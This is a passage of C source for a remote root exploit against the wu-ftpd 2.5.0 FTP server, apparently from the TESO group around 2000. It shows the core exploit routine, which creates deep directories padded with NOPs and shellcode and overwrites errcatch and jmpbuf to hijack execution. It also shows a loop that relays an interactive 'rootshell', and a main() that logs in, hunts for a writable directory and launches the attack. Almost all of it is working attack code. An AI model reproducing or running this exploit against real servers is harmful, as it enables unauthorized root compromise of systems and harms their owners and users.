  1125.   if (strlen (dir) < 57)
  1126.     return (NULL);
  1127.  
  1128.   if (strncmp (" ", dir, 1) == 0)
  1129.     ++dir;
  1130.   if (strncmp ("d", dir, 1) != 0)
  1131.     return (NULL);
  1132.  
  1133.   dir += 55;
  1134.   dir[strlen (dir) - 2] = 0;
  1135.   /*    printf("strlen is %d for %s",strlen(dir), dir); */
  1136.  
  1137.   if (strcmp (".", dir) == 0 || strcmp ("..", dir) == 0)
  1138.     return (NULL);
  1139.  
  1140.   return (dir);
  1141. }
  1142.  
  1143. /* cleanup_and_exit
  1144.  *
  1145.  * cleanup functions on exit
  1146.  *
  1147.  * return nothing
  1148.  */
  1149. void
  1150. cleanup_and_exit (void)
  1151. {
  1152.   free (tesopt.rev);
  1153.   free (hostinf.header);
  1154.   free (hostinf.pwd);
  1155.   close (fd);
  1156.  
  1157.   printf ("%s\n", C_NORM);
  1158.  
  1159.   exit (EXIT_SUCCESS);
  1160. }
  1161.  
  1162. /* x2port
  1163.  *
  1164.  * like atoi, but with getservbyname if atoi() fails
  1165.  *
  1166.  * return port
  1167.  */
  1168. int
  1169. x2port (const char *smtn)
  1170. {
  1171.   struct servent  *serv;
  1172.   int             port;
  1173.  
  1174.   port = atoi (smtn);
  1175.   if (port == 0)
  1176.     {
  1177.       serv = getservbyname (smtn, "tcp");
  1178.       if (serv != NULL)
  1179.         port = htons (serv->s_port);
  1180.     }
  1181.  
  1182.   return (port);
  1183. }
  1184.  
  1185. /* int2char
  1186.  *
  1187.  * converts an integer to 4byte char *
  1188.  *
  1189.  * return port
  1190.  */
  1191. char    int2char_tmp[8];
  1192. char *
  1193. int2char (int addr)
  1194. {
  1195.   bzero(&int2char_tmp, 8);
  1196.   int2char_tmp[0] = (addr & 0x000000ff);
  1197.   int2char_tmp[1] = (addr & 0x0000ff00) >> 8;
  1198.   int2char_tmp[2] = (addr & 0x00ff0000) >> 16;
  1199.   int2char_tmp[3] = (addr & 0xff000000) >> 24;
  1200.   int2char_tmp[4] = 0;
  1201.  
  1202.   return (int2char_tmp);
  1203. }
  1204.  
  1205. /* wuftpd_250_sploitit
  1206.  *
  1207.  * tries to exploit wuftpd 2.5.0, after all preparation work is done.
  1208.  *
  1209.  * return 0 on error
  1210.  * return 1 on success
  1211.  */
  1212. int
  1213. wuftpd_250_sploitit (void)
  1214. {
  1215.   int shelloff,
  1216.   times,
  1217.   fill;
  1218.   int start_writing_to_errcatch,
  1219.   argvlen,
  1220.   behind_errcatch;
  1221.   int i, n;
  1222.   char string[2048];
  1223.  
  1224.   argvlen = strlen ("ftpd: ");
  1225.   argvlen += strlen (tesopt.rev);
  1226.   argvlen += strlen (": ");
  1227.   argvlen += strlen (tesopt.user);
  1228.   argvlen += strlen (": ");
  1229.  
  1230.   if (strncmp ("anonymous", tesopt.user, 9) == 0)
  1231.     argvlen += strlen (tesopt.pass) + 1;
  1232.  
  1233.   times = (sptr->maxpathlen-hostinf.pwdlen) / (tesopt.dirlen + 1);
  1234.  
  1235.   fill = sptr->maxpathlen-hostinf.pwdlen - (tesopt.dirlen + 1) * times;
  1236.  
  1237.   if (debug > 0)
  1238.     {
  1239.       printf ("CWD %d + (dirlen %d * %d times) + fill %d = %d\n",
  1240.               hostinf.pwdlen, tesopt.dirlen, times, fill, sptr->maxpathlen);
  1241.     }
  1242.  
  1243.   if (strlen (shellcode) > (tesopt.dirlen - 40))
  1244.     err(0, "shellcode too big, edit the source to use less padding,"
  1245.         "\nhmm.. this shouldn't have happened with LaM3rZ shellcode!");
  1246.  
  1247.   /* let's try to hit the middle of our 0x90 pad */
  1248.   shelloff = sptr->mapped_path + hostinf.pwdlen
  1249.              + ( (tesopt.dirlen - strlen(shellcode)) / 2);
  1250.  
  1251.   if (debug > 0)
  1252.     printf ("will try to longjmp to 0x%x\n", shelloff);
  1253.  
  1254.   start_writing_to_errcatch = sptr->errcatch - argvlen;
  1255.   behind_errcatch = sptr->errcatch + (6 * 4) + 2 + 8;
  1256.  
  1257.   if (debug > 0)
  1258.     {
  1259.       printf ("errcatch(0x%x) - argvlen(%d) = start 0x%x - end 0x%x\n",
  1260.               sptr->errcatch, argvlen, start_writing_to_errcatch, behind_errcatch);
  1261.     }
  1262.  
  1263.   memset (string, 'A', tesopt.dirlen);
  1264.  
  1265.   if (debug<3) /* 0x0e/^N in shellcode -> not meant for humans. */
  1266.     disp = 0;
  1267.   for (i = 0; i < times; i++)
  1268.     {
  1269.       switch (i)
  1270.         {
  1271.         case 0:
  1272.           memset (string, 0x90, tesopt.dirlen);
  1273.           memcpy (string+tesopt.dirlen-strlen(shellcode),
  1274.                   shellcode, strlen (shellcode));
  1275.           break;
  1276.         case 1:
  1277.           memset (string, 0x90, tesopt.dirlen);
  1278.           break;
  1279.         default:
  1280.           break;
  1281.         }
  1282.  
  1283.       string[tesopt.dirlen] = 0;
  1284.       putserv ("MKD %s\n", string);
  1285.       getline ();
  1286.  
  1287.       putserv ("CWD %s\n", string);
  1288.       getline ();
  1289.     }
  1290.  
  1291.   getpwd ();
  1292.   disp = 1;
  1293.  
  1294.   if (debug > 0)
  1295.     printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen);
  1296.  
  1297.   if (fill != sptr->maxpathlen-hostinf.pwdlen)
  1298.     err (0, "Calculation wrong. Error!");
  1299.  
  1300.   if (fill > 506)
  1301.     err (0, "Aw.. fuck! My fill is waaaay to big!\n");
  1302.  
  1303.   /* onefile[0], onefile[1] and maybe pad_eax */
  1304.   fill += sptr->pad_eax ? 12 : 8;
  1305.  
  1306.   n = fill/4;
  1307.   string[0] = 0;
  1308.   for (i=0; i < n; i++)
  1309.     strcat(string, int2char(start_writing_to_errcatch));
  1310.   for (i=1; i < (fill - (n*4)); i++)
  1311.     strcat(string, "A");
  1312.  
  1313.   /* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */
  1314.   strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */
  1315.   strcat (string, int2char (behind_errcatch)); /* LastArgv */
  1316.  
  1317.   if (debug > 0)
  1318.     printf ("Sending final CWD\n");
  1319.  
  1320.   if (strlen (string) < 20)
  1321.     err (0, "cwd string too short.. check for 0x0's.\n");
  1322.  
  1323.   putserv ("CWD %s\n", string);
  1324.   getline ();
  1325.  
  1326.   /************ jmpbuf ***********/
  1327.  
  1328.   if (debug > 0)
  1329.     printf ("Sending jmpbuf\n");
  1330.  
  1331.   string[0] = 0;
  1332.   for (i=0; i<8; i++) /* (sizeof(jmpbuf) = 24)+8.. */
  1333.     strcat (string, int2char (shelloff));
  1334.  
  1335.   if (strlen (string) != 32)
  1336.     err (0, "jmpbuf string too short.. check for 0x0's.\n");
  1337.  
  1338.   putserv ("%s\n", string);
  1339.  
  1340.   getline ();
  1341.  
  1342.   return (1);
  1343. }
  1344.  
  1345. /* shell
  1346.  *
  1347.  * provide a pseudo shell..
  1348.  *
  1349.  * return nothing
  1350.  */
  1351. void
  1352. shell (void)
  1353. {
  1354.   char    buf[5120];
  1355.   int     l;
  1356.   fd_set  rfds;
  1357.  
  1358.   printf("%sSpawning rootshell:%s\n", C_RED, C_NORM);
  1359.  
  1360.   while (1)
  1361.     {
  1362.       FD_SET (0, &rfds);
  1363.       FD_SET (fd, &rfds);
  1364.  
  1365.       select (fd+1, &rfds, NULL, NULL, NULL);
  1366.       if (FD_ISSET (0, &rfds))
  1367.         {
  1368.           l = read (0, buf, sizeof (buf));
  1369.           if (l <= 0)
  1370.             cleanup_and_exit ();
  1371.           xwrite (fd, buf, l);
  1372.         }
  1373.  
  1374.       if (FD_ISSET (fd, &rfds))
  1375.         {
  1376.           l = read (fd, buf, sizeof (buf));
  1377.           if (l <= 0)
  1378.             cleanup_and_exit ();
  1379.           xwrite (1, buf, l);
  1380.         }
  1381.     }
  1382. }
  1383.  
  1384. /* check_test_return
  1385.  *
  1386.  * Check if testcode sploiting was successfull.
  1387.  *
  1388.  * return 0 on failure
  1389.  * return 1 on success
  1390.  */
  1391.  
  1392. int check_test_return(char *what, int len)
  1393.                      {
  1394.                        char line[1024];
  1395.                        int i, flags;
  1396.                        fd_set rset;
  1397.                        struct timeval  tv;
  1398.  
  1399.                        printf("w8ing for testshellcode to respond...\n");
  1400.                        flags = fcntl(fd, F_GETFL, 0);
  1401.                        if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
  1402.                          err(1, "fcntl fucked up (testshellcode)");
  1403.  
  1404.                        FD_ZERO(&rset);
  1405.                        FD_SET(fd, &rset);
  1406.  
  1407.                        tv.tv_sec = 10;
  1408.                        tv.tv_usec = 0;
  1409.  
  1410.                        if (!select(fd + 1, &rset, NULL, NULL, &tv))
  1411.                          err(0, "select timed out(testshellcode)");
  1412.  
  1413.                        i = read(fd, line, len);
  1414.                        if (!strncmp(what, line, len))
  1415.                          {
  1416.                            printf("%sSploit successfull!%s\n", C_RED, C_NORM);
  1417.                            return(1);
  1418.                          };
  1419.                        printf("%sSploit not successfull!%s\n", C_RED, C_NORM);
  1420.                        return(0);
  1421.                      }
  1422.  
  1423.                      int
  1424.                      main (int argc, char **argv)
  1425.                      {
  1426.                        int i;
  1427.                        title ();
  1428.  
  1429.                        if (argc < 3)
  1430.                          usage (argv[0]);
  1431.  
  1432.                        signal (SIGINT, (void *) &sighandler);
  1433.                        signal (SIGQUIT, (void *) &sighandler);
  1434.  
  1435.                        parseargs (argc, argv);
  1436.  
  1437.                        printf("Connecting...\n");
  1438.                        connect_to_ftp ();
  1439.  
  1440.                        log_into_ftp ();
  1441.                        if (sptr->need_writable || tesopt.dirscanonly)
  1442.                          {
  1443.                            printf ("Logged in! Searching for a writable directory...\n");
  1444.                            if (!recurse_writable())
  1445.                              err (0, "kurwa mac! no writable dir found\n");
  1446.                          }
  1447.                        else
  1448.                          {
  1449.                            printf ("Logged in!\n");
  1450.                          }
  1451.  
  1452.                        getpwd ();
  1453.                        printf ("       %s is writable.. rock on!\n", hostinf.pwd);
  1454.  
  1455.                        if (!tesopt.dirscanonly)
  1456.                          {
  1457.                            printf("Trying to sploit...\n");
  1458.                            sptr->code();
  1459.                            tesopt.testonly ? i = check_test_return("teso\n", 5) : shell();
  1460.                            if (!i)
  1461.                              printf ("sploiting not successfull\n");
  1462.                          }
  1463.  
  1464.                        cleanup_and_exit();
  1465.                        return (0); /* not reached */
  1466.                      }
  1467.                      /*                    www.hack.co.za              [2000]*/